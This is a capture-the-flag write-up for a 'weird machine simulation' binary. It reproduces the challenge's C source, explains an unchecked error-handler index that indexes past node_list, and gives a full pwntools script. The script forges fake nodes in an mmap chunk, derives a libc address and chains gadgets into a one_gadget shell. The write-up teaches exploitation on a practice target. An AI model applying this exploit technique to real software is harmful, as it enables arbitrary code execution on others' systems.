The challenge gives us a source code simulation.c ```cpp= #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdint.h> #include <stdbool.h> #define CONSTANT 0 #define REGISTER 1 #define MEM 2 #define MAX_COUNT 0x100 enum COMMAND_TYPE { ADD, SUBTRACT, MULTIPLY, DIVIDE, STORE, LOAD }; struct arg { size_t type; size_t val; }; struct command { size_t func; struct arg arg[3]; }; struct node { uint32_t error_handler; uint32_t cur_cmd; uint32_t nb_cmd; uint32_t next_node; int (*error_callback)(struct node *, uint32_t, bool); struct command cmd[0]; }; uint32_t node_head; struct node *node_list[MAX_COUNT]; uint32_t ip; uint64_t re[5]; char *mem; size_t mem_size; uint64_t get_val(struct arg *arg) { switch (arg->type) { case CONSTANT: return arg->val; case REGISTER: return re[arg->val]; case MEM: return *(uint64_t *)(&mem[arg->val]); } } void store_val(struct arg *arg, uint64_t val) { switch (arg->type) { case CONSTANT: return; case REGISTER: re[arg->val] = val; return; case MEM: *(uint64_t *)(&mem[arg->val]) = val; return; } } uint64_t get_val_safe(struct arg *arg) { switch (arg->type) { case CONSTANT: return arg->val; case REGISTER: return re[arg->val]; case MEM: if (arg->val + 8 > mem_size) { mem_size = arg->val + 8; return 0; } return 0; } } void store_val_safe(struct arg *arg, uint64_t val) { switch (arg->type) { case CONSTANT: return; case REGISTER: return re[arg->val] = val; case MEM: if (arg->val + 8 > mem_size) { mem_size = arg->val + 8; return; } } } int handler1(struct node *node, uint32_t ip, bool debug) { if (debug) printf("Error happen at node %d, cmd[%d] - CONTINUE\n", ip, node->cur_cmd); return 0; } int handler2(struct node *node, uint32_t ip, bool debug) { if (debug) printf("Error happen at node %d, cmd[%d] - DISCONTINUE\n", ip, node->cur_cmd); return -1; } int handler3(struct node *node, uint32_t ip, bool debug) { char buf[5]; if (debug) { printf("Error happen at node %d, cmd[%d] - CONTINUE? (y/n)", ip, node->cur_cmd); read(0, buf, 2); if (buf[0] == 'Y' || buf[0] == 'y') { return 0; } } return -1; } uint32_t resolve_error(struct node *cur_node, uint32_t ip, bool debug) { if (cur_node->error_callback) { if (!debug) { cur_node->cur_cmd++; return 1; } if (cur_node->error_callback(cur_node, ip, debug)) { return 0; } else { cur_node->cur_cmd++; return 1; } } else { cur_node->cur_cmd = 0; return 2; } } void simulate() { struct node *cur_node; size_t i; ip = node_head; memset(re, 0, sizeof re); memset(mem, 0, mem_size); uint64_t tmp; uint32_t cycle = 0; uint32_t status_code; while (cycle <= 0x5000) { cur_node = node_list[ip]; if (!cur_node) { break; } if (cur_node->cur_cmd >= cur_node->nb_cmd) { if (cur_node->next_node) { ip = cur_node->next_node; cur_node = node_list[ip]; } else { break; } } cycle++; switch (cur_node->cmd[cur_node->cur_cmd].func) { case ADD: tmp = get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[0]) + get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[1]); store_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp); cur_node->cur_cmd++; break; case SUBTRACT: tmp = get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[0]) - get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[1]); store_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp); cur_node->cur_cmd++; break; case MULTIPLY: tmp = get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[0]) * get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[1]); store_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp); cur_node->cur_cmd++; break; case DIVIDE: if (get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[1]) == 0) { status_code = resolve_error(cur_node, ip, 0); if (status_code == 0) { return; } if (status_code == 1) { break; } if (status_code == 2) { ip = cur_node->error_handler; continue; } } tmp = get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[0]) / get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[1]); store_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp); cur_node->cur_cmd++; break; case LOAD: if (cur_node->cmd[cur_node->cur_cmd].arg[0].type != MEM) { status_code = resolve_error(cur_node, ip, 0); if (status_code == 0) { return; } if (status_code == 1) { break; } if (status_code == 2) { ip = cur_node->error_handler; continue; } } tmp = get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[0]); store_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[1], tmp); cur_node->cur_cmd++; break; case STORE: if (cur_node->cmd[cur_node->cur_cmd].arg[0].type != MEM) { status_code = resolve_error(cur_node, ip, 0); if (status_code == 0) { return; } if (status_code == 1) { break; } if (status_code == 2) { ip = cur_node->error_handler; continue; } } store_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[0], get_val_safe(&cur_node->cmd[cur_node->cur_cmd].arg[1])); cur_node->cur_cmd++; break; } } for (i = 0; i < MAX_COUNT; ++i) { if (node_list[i]) { node_list[i]->cur_cmd = 0; } } } void run() { struct node *cur_node; ip = node_head; memset(re, 0, sizeof re); memset(mem, 0, mem_size); uint64_t tmp; uint32_t cycle = 0; uint32_t status_code; while (cycle <= 0x5000) { cur_node = node_list[ip]; if (!cur_node) { break; } if (cur_node->cur_cmd >= cur_node->nb_cmd) { if (cur_node->next_node) { ip = cur_node->next_node; cur_node = node_list[ip]; } else { break; } } cycle++; switch (cur_node->cmd[cur_node->cur_cmd].func) { case ADD: tmp = get_val(&cur_node->cmd[cur_node->cur_cmd].arg[0]) + get_val(&cur_node->cmd[cur_node->cur_cmd].arg[1]); store_val(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp); cur_node->cur_cmd++; break; case SUBTRACT: tmp = get_val(&cur_node->cmd[cur_node->cur_cmd].arg[0]) - get_val(&cur_node->cmd[cur_node->cur_cmd].arg[1]); store_val(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp); cur_node->cur_cmd++; break; case MULTIPLY: tmp = get_val(&cur_node->cmd[cur_node->cur_cmd].arg[0]) * get_val(&cur_node->cmd[cur_node->cur_cmd].arg[1]); store_val(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp); cur_node->cur_cmd++; break; case DIVIDE: if (get_val(&cur_node->cmd[cur_node->cur_cmd].arg[1]) == 0) { status_code = resolve_error(cur_node, ip, 1); if (status_code == 0) { goto output; } if (status_code == 1) { break; } if (status_code == 2) { ip = cur_node->error_handler; continue; } } tmp = get_val(&cur_node->cmd[cur_node->cur_cmd].arg[0]) / get_val(&cur_node->cmd[cur_node->cur_cmd].arg[1]); store_val(&cur_node->cmd[cur_node->cur_cmd].arg[2], tmp); cur_node->cur_cmd++; break; case LOAD: if (cur_node->cmd[cur_node->cur_cmd].arg[0].type != MEM) { status_code = resolve_error(cur_node, ip, 1); if (status_code == 0) { goto output; } if (status_code == 1) { break; } if (status_code == 2) { ip = cur_node->error_handler; continue; } } tmp = get_val(&cur_node->cmd[cur_node->cur_cmd].arg[0]); store_val(&cur_node->cmd[cur_node->cur_cmd].arg[1], tmp); cur_node->cur_cmd++; break; case STORE: if (cur_node->cmd[cur_node->cur_cmd].arg[0].type != MEM) { status_code = resolve_error(cur_node, ip, 1); if (status_code == 0) { goto output; } if (status_code == 1) { break; } if (status_code == 2) { ip = cur_node->error_handler; continue; } } store_val(&cur_node->cmd[cur_node->cur_cmd].arg[0], get_val(&cur_node->cmd[cur_node->cur_cmd].arg[1])); cur_node->cur_cmd++; break; } } output: puts("Finish running"); printf("IP: %u\n", ip); } bool check_func(uint64_t func) { if (func > LOAD) { return false; } return true; } void new_node() { size_t idx; size_t nb_cmd; size_t i; size_t j; struct node *node; struct command *cmd; struct arg *arg; char buf[5]; uint32_t handler; size_t type; size_t val; size_t func; uint32_t next_node; printf("Index: "); idx = read_int(); if (idx == 0 || idx >= MAX_COUNT || node_list[idx]) { puts("Invalid index"); return; } printf("Number of command: "); nb_cmd = read_int(); if (nb_cmd >= 0x10) { puts("Too many commands"); return; } printf("Next node: "); next_node = read_int(); if (next_node >= MAX_COUNT) { puts("Invalid node"); return; } node = calloc(sizeof(struct node) + sizeof(struct command) * nb_cmd, 1); node->nb_cmd = nb_cmd; node->next_node = next_node; printf("Fill command list: "); read(0, node->cmd, sizeof(struct command) * nb_cmd); for (i = 0; i < nb_cmd; ++i) { for (j = 0; j < 3; ++j) { cmd = &node->cmd[i]; arg = &cmd->arg[j]; type = arg->type; val = arg->val; func = cmd->func; if ((type > MEM) || !check_func(func) || (type == REGISTER && val >= 5) || (type == MEM && val >= 0xffffffff)) { free(node); puts("Invalid commands"); return; } } } printf("Use default handler? (y/n): "); read(0, buf, 2); if (buf[0] == 'Y' || buf[0] == 'y') { printf("Input default error handler: "); handler = read_int(); if (handler == 1) { node->error_callback = &handler1; } else if (handler == 2) { node->error_callback = &handler2; } else { node->error_callback = &handler3; } } else { printf("Input error handler: "); handler = read_int(); node->error_handler = handler; } node_list[idx] = node; } void cleanup() { size_t i; for (i = 0; i < MAX_COUNT; ++i) { if (node_list[i]) { free(node_list[i]); node_list[i] = NULL; } } } void menu() { printf("\n"); puts("------------------------"); puts("1. New node"); puts("2. Run"); puts("3. Exit"); printf("> "); } void timeout() { puts("Timeout"); exit(1); } int read_int() { char buf[20]; memset(buf, 0, 20); read(0, buf, 10); return atoi(buf); } void init() { signal(0xe, &timeout); alarm(60); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); } int main(void) { init(); puts("A weird machine simulation!"); int choice; while (1) { menu(); choice = read_int(); switch (choice) { case 1: new_node(); break; case 2: printf("Where to start? "); node_head = read_int(); if (node_head == 0 || node_head > MAX_COUNT) { puts("Invalid start"); break; } simulate(); mem = calloc(mem_size, 1); if (!mem) { puts("Out of memory"); exit(1); } run(); free(mem); mem = NULL; mem_size = 0; cleanup(); break; case 3: exit(0); break; } } } ``` We have the structs ```cpp= struct arg { size_t type; size_t val; }; struct command { size_t func; struct arg arg[3]; }; struct node { uint32_t error_handler; uint32_t cur_cmd; uint32_t nb_cmd; uint32_t next_node; int (*error_callback)(struct node *, uint32_t, bool); struct command cmd[0]; }; ``` `error_handler` is a index to another node when `error_callback` is `NULL` and the program redirect to that node when meeting error `cur_cmd` is the index of `cmd` `nb_cmd` is the number of commands `next_node` is the node called when the program done executing the current node `error_callback` is a function pointer called when the program meeting error In `new_node` function when creating the error handle for a node, the user choose between using default function(use `error_callback`) or a `error_handle` ```cpp= printf("Use default handler? (y/n): "); read(0, buf, 2); if (buf[0] == 'Y' || buf[0] == 'y') { printf("Input default error handler: "); handler = read_int(); if (handler == 1) { node->error_callback = &handler1; } else if (handler == 2) { node->error_callback = &handler2; } else { node->error_callback = &handler3; } } else { printf("Input error handler: "); handler = read_int(); node->error_handler = handler; } ``` Notice that the `error_handler` is index and there's no bound check here So i pass it a big index to go out of `node_list` The ```cpp= read(0, node->cmd, sizeof(struct command) * nb_cmd); ``` When i pass cmds it might overflow `1` byte so i can't use default handler, but i don't need it tho So the `simulation` function, simplify i prepare the `mem_size` which is to `calloc(mem_size)` and store the return value in `mem` Make the `mem_size` large so that the `heap` section can't meet, the program will allocate a `mmap chunk` which is right below `libc` ![](https://hackmd.io/_uploads/r1OmObYK3.png) The `mem_size` here is `0xfffff` which is right after `mem` Now to the exploit ## get the libc Getting the libc but not leaking because i can store a libc leak at a variable but not print it So i can pass a large `error_handler` and trigger the error by dividing by `0` or `LOAD` at not a `MEM` type ... The program simulates how a machine work with registers (`5` register) and memory. We can write to register or memory with some operator with arguments is registers or some where in memory `node_list` is a array of pointers pointing to `struct node` So with a calculated `index` i can make it land on `mem` which having the return value of `calloc` and we can write to that allocated area so i create a fake chunk there The fake chunk will have the cmd ``` ADD CONSTANT 0 RE (MEM - RE) // 8 index to re so that it lands on mem RE 0 // store the value of mem in re[0] ``` ![](https://hackmd.io/_uploads/HyzhObtF3.png) ```python= #calloc mmap chunk cmd_type = p64(COMMAND_TYPE['MULTIPLY'].value) arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0) arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(3) arg2 = p64(ARG_TYPE['MEM'].value) + p64(0xfffff - 8) commands = cmd_type + arg0 + arg1 + arg2 #create fake struct node commands += store_mem(0, 0) #current command + error handler commands += store_mem(1, 0x0000000200000001) #nb_cmds = 1, next_node = 2 commands += store_mem(2, 0) # error callback commands += store_mem(3, COMMAND_TYPE['ADD'].value) commands += store_mem(4, ARG_TYPE['CONSTANT'].value) commands += store_mem(5, 0) commands += store_mem(6, ARG_TYPE['REGISTER'].value) commands += store_mem(7, (MEM - RE) // 8) # get the value of mem which is near libc address commands += store_mem(8, ARG_TYPE['REGISTER'].value) commands += store_mem(9, 0) # store leak at re[0] #trigger error to redirect to fake struct node cmd_type = p64(COMMAND_TYPE['DIVIDE'].value) arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0) arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(0) arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1) commands += cmd_type + arg0 + arg1 + arg2 ``` Attaching with gdb ![](https://hackmd.io/_uploads/Hydzo-KF3.png) So i have the libc leak at `re[0]` The fake struct a `mem` ![](https://hackmd.io/_uploads/HyPVibtF2.png) I screenshot in another run so the address is different ## one_gadget So now i have `re[0]` is libc address(below the libc) In fake chunk i make `next_node` is `2` I create a node `2` that also create a fake chunk in `mem` and this time i set the `error_callback` is a somewhere in libc First is adding the `re[0]` libc offset and store the value in `re[1]` so `re[1]` is now libc start ```python= cmd_type = p64(COMMAND_TYPE['ADD'].value) arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(1064944) arg1 = p64(ARG_TYPE['REGISTER'].value) + p64(0) arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1) commands = cmd_type + arg0 + arg1 + arg2 ``` First i write `one_gadget` in `error_callback` field ```python= #write one_gadget to callback commands += store_mem(0, 0) #current command + error handler commands += store_mem(1, 0x0000000300000001) #nb_cmds = 1, next_node = 3 commands += store_mem_re(2, 1, ONE_GADGET) # error callback, store the value at re[1] in mem + 2*8 commands += store_mem(3, COMMAND_TYPE['LOAD'].value) commands += store_mem(4, ARG_TYPE['REGISTER'].value) commands += store_mem(5, 3) commands += store_mem(6, ARG_TYPE['CONSTANT'].value) commands += store_mem(7, 4) # divided by 0 to trigger error_callback commands += store_mem(8, ARG_TYPE['REGISTER'].value) #not important commands += store_mem(9, 2) #not important ``` ![](https://hackmd.io/_uploads/r1eNRWtK3.png) But cheking the conditions and there's no gadget i can use ![](https://hackmd.io/_uploads/rySCnbFK3.png) But then i try to first make some gadgets to zero out the `r12`, `r13` register or make it points to `0` Registers when reach gadget ![](https://hackmd.io/_uploads/r1T-TWFK3.png) The stack ![](https://hackmd.io/_uploads/HyyBaZYFn.png) I found `2` gadgets that do that ```python= ZERO_R12 = 0x0000000000099f96 #: push rax ; mov rax, r12 ; pop r12 ; ret ZERO_R13 = 0x0000000000042f76 #: pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret ``` I make `r12`, `r13` equal to the the fake chunk pointer and the first field of that chunk is zero In `ZERO_R13` it has a few pop and make the program ret to the next command in `run` function when call `resolve_error` And `ZERO_R12`, when the program run a `error_callback` it will stop iterating the `node_list` and finish the loop ![](https://hackmd.io/_uploads/rk4d0btY2.png) So that `r12`, `r13` is now the pointer to fake chunk ![](https://hackmd.io/_uploads/By45CZKFh.png) But after finish it doesn't point to anything because the memory is `unmmap` So i have to recreate `mmap` chunk and create a fake struct again and write `one_gadget` to it Don't know why but when i pass the same `mem_size` it doesn't return `mmap` chunk(the heap then is bigger but still don't know why) so i pass a bigger then it works Set a break point before `one_gadget` ![](https://hackmd.io/_uploads/r1qEJfFKn.png) ![](https://hackmd.io/_uploads/BkQUJMKYn.png) The conditions are meet Continue ![](https://hackmd.io/_uploads/BJG_JMYYh.png) ![](https://hackmd.io/_uploads/SkjuyMYK2.png) Full script ```python= from pwn import * import enum class ARG_TYPE(enum.Enum): CONSTANT = 0 REGISTER = 1 MEM = 2 class COMMAND_TYPE(enum.Enum): ADD = 0 SUBTRACT = 1 MULTIPLY = 2 DIVIDE = 3 STORE = 4 LOAD = 5 elf = context.binary = ELF('/home/kakaka/KMA_CTF/simulation') libc = elf.libc p = process() #gdb.attach(p) def create_newnode(index, nb_cmds, next_node, default_handler, handler, cmds): p.recvuntil(b'> ') p.sendline(b'1') p.recvuntil(b'Index: ') p.sendline(str(index).encode()) p.recvuntil(b'Number of command: ') p.sendline(str(nb_cmds).encode()) p.recvuntil(b'Next node: ') p.sendline(str(next_node).encode()) p.recvuntil(b'Fill command list: ') p.sendline(cmds) p.recvuntil(b'Use default handler? (y/n): ') if default_handler == 0: p.sendline(b'n') p.recvuntil(b'Input error handler: ') p.sendline(str(handler).encode()) else: #p.sendline(b'y') #print(p.recv(1024)) #p.recvuntil(b'Input default error handler: ') p.recvuntil(b'Input error handler: ') p.sendline(str(handler).encode()) def store_mem(index, value): cmd_type = p64(COMMAND_TYPE['ADD'].value) arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(value) arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(0) arg2 = p64(ARG_TYPE['MEM'].value) + p64(index*8) return cmd_type + arg0 + arg1 + arg2 def store_mem_re(index, re, value): cmd_type = p64(COMMAND_TYPE['ADD'].value) arg0 = p64(ARG_TYPE['REGISTER'].value) + p64(re) arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(value) arg2 = p64(ARG_TYPE['MEM'].value) + p64(index*8) return cmd_type + arg0 + arg1 + arg2 MEM = 0x58c8 NODE_LIST = 0x5080 RE = 0x58a0 ONE_GADGET = 0xd831a ZERO_R12 = 0x0000000000099f96 #: push rax ; mov rax, r12 ; pop r12 ; ret ZERO_R13 = 0x0000000000042f76 #: pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret #calloc mmap chunk cmd_type = p64(COMMAND_TYPE['MULTIPLY'].value) arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0) arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(3) arg2 = p64(ARG_TYPE['MEM'].value) + p64(0xfffff - 8) commands = cmd_type + arg0 + arg1 + arg2 #create fake struct node commands += store_mem(0, 0) #current command + error handler commands += store_mem(1, 0x0000000200000001) #nb_cmds = 1, next_node = 2 commands += store_mem(2, 0) # error callback commands += store_mem(3, COMMAND_TYPE['ADD'].value) commands += store_mem(4, ARG_TYPE['CONSTANT'].value) commands += store_mem(5, 0) commands += store_mem(6, ARG_TYPE['REGISTER'].value) commands += store_mem(7, (MEM - RE) // 8) # get the value of mem which is near libc address commands += store_mem(8, ARG_TYPE['REGISTER'].value) commands += store_mem(9, 0) # store leak at re[0] #trigger error to redirect to fake struct node cmd_type = p64(COMMAND_TYPE['DIVIDE'].value) arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0) arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(0) arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1) commands += cmd_type + arg0 + arg1 + arg2 idx = 1 next_idx = 0 no_cmds = 12 error_handle = (MEM - NODE_LIST) // 8 #redirect to fake struct node create_newnode(idx, no_cmds, next_idx, 1, error_handle, commands) #create second node #add re[0] libc offset and store it in re[1] cmd_type = p64(COMMAND_TYPE['ADD'].value) arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(1064944) arg1 = p64(ARG_TYPE['REGISTER'].value) + p64(0) arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1) commands = cmd_type + arg0 + arg1 + arg2 #write gadget clear r13 to callback commands += store_mem(0, 0) #current command + error handler commands += store_mem(1, 0x0000000300000001) #nb_cmds = 1, next_node = 3 commands += store_mem_re(2, 1, ZERO_R13) # error callback, store the value at re[1] in mem + 2*8 commands += store_mem(3, COMMAND_TYPE['LOAD'].value) commands += store_mem(4, ARG_TYPE['REGISTER'].value) commands += store_mem(5, 3) commands += store_mem(6, ARG_TYPE['CONSTANT'].value) commands += store_mem(7, 4) # divided by 0 to trigger error_callback commands += store_mem(8, ARG_TYPE['REGISTER'].value) #not important commands += store_mem(9, 2) #not important #trigger error_handle to redirect to fake struct node cmd_type = p64(COMMAND_TYPE['DIVIDE'].value) arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0) arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(0) arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1) commands += cmd_type + arg0 + arg1 + arg2 idx = 2 no_cmds = 12 create_newnode(idx, no_cmds, next_idx, 1, error_handle, commands) #node 3 to make r12 point to zero #write gadget clear r12 to callback commands = store_mem(0, 0) #current command + error handler commands += store_mem(1, 0x0000000400000001) #nb_cmds = 1, next_node = 4 commands += store_mem_re(2, 1, ZERO_R12) # error callback, store the value at re[1] in mem + 2*8 commands += store_mem(3, COMMAND_TYPE['DIVIDE'].value) commands += store_mem(4, ARG_TYPE['REGISTER'].value) commands += store_mem(5, 3) commands += store_mem(6, ARG_TYPE['CONSTANT'].value) commands += store_mem(7, 0) # divided by 0 to trigger error_callback commands += store_mem(8, ARG_TYPE['REGISTER'].value) #not important commands += store_mem(9, 2) #not important #trigger error_handle to redirect to fake struct node cmd_type = p64(COMMAND_TYPE['DIVIDE'].value) arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0) arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(0) arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1) commands += cmd_type + arg0 + arg1 + arg2 idx = 3 no_cmds = 11 create_newnode(idx, no_cmds, next_idx, 1, error_handle, commands) p.recvuntil(b'> ') p.sendline(b'2') p.recvuntil(b'Where to start? ') p.sendline(b'1') #because after trigger callback the program will stop #run the struct so i have to rebuild the node #calloc mmap chunk cmd_type = p64(COMMAND_TYPE['MULTIPLY'].value) arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0) arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(3) arg2 = p64(ARG_TYPE['MEM'].value) + p64(0xffffff - 8) commands = cmd_type + arg0 + arg1 + arg2 #create fake struct node commands += store_mem(0, 0) #current command + error handler commands += store_mem(1, 0x0000000200000001) #nb_cmds = 1, next_node = 2 commands += store_mem(2, 0) # error callback commands += store_mem(3, COMMAND_TYPE['ADD'].value) commands += store_mem(4, ARG_TYPE['CONSTANT'].value) commands += store_mem(5, 0) commands += store_mem(6, ARG_TYPE['REGISTER'].value) commands += store_mem(7, (MEM - RE) // 8) # get the value of mem which is near libc address commands += store_mem(8, ARG_TYPE['REGISTER'].value) commands += store_mem(9, 0) # store leak at re[0] #trigger error to redirect to fake struct node cmd_type = p64(COMMAND_TYPE['DIVIDE'].value) arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0) arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(0) arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1) commands += cmd_type + arg0 + arg1 + arg2 idx = 1 no_cmds = 12 error_handle = (MEM - NODE_LIST) // 8 #redirect to fake struct node create_newnode(idx, no_cmds, next_idx, 1, error_handle, commands) #create second node #add re[0] libc offset and store it in re[1] cmd_type = p64(COMMAND_TYPE['ADD'].value) arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(16793584) arg1 = p64(ARG_TYPE['REGISTER'].value) + p64(0) arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1) commands = cmd_type + arg0 + arg1 + arg2 #write one_gadget to callback commands += store_mem(0, 0) #current command + error handler commands += store_mem(1, 0x0000000300000001) #nb_cmds = 1, next_node = 3 commands += store_mem_re(2, 1, ONE_GADGET) # error callback, store the value at re[1] in mem + 2*8 commands += store_mem(3, COMMAND_TYPE['LOAD'].value) commands += store_mem(4, ARG_TYPE['REGISTER'].value) commands += store_mem(5, 3) commands += store_mem(6, ARG_TYPE['CONSTANT'].value) commands += store_mem(7, 4) # divided by 0 to trigger error_callback commands += store_mem(8, ARG_TYPE['REGISTER'].value) #not important commands += store_mem(9, 2) #not important #trigger error_handle to redirect to fake struct node cmd_type = p64(COMMAND_TYPE['DIVIDE'].value) arg0 = p64(ARG_TYPE['CONSTANT'].value) + p64(0) arg1 = p64(ARG_TYPE['CONSTANT'].value) + p64(0) arg2 = p64(ARG_TYPE['REGISTER'].value) + p64(1) commands += cmd_type + arg0 + arg1 + arg2 idx = 2 no_cmds = 12 create_newnode(idx, no_cmds, next_idx, 1, error_handle, commands) p.recvuntil(b'> ') p.sendline(b'2') p.recvuntil(b'Where to start? ') p.sendline(b'1') p.interactive() ```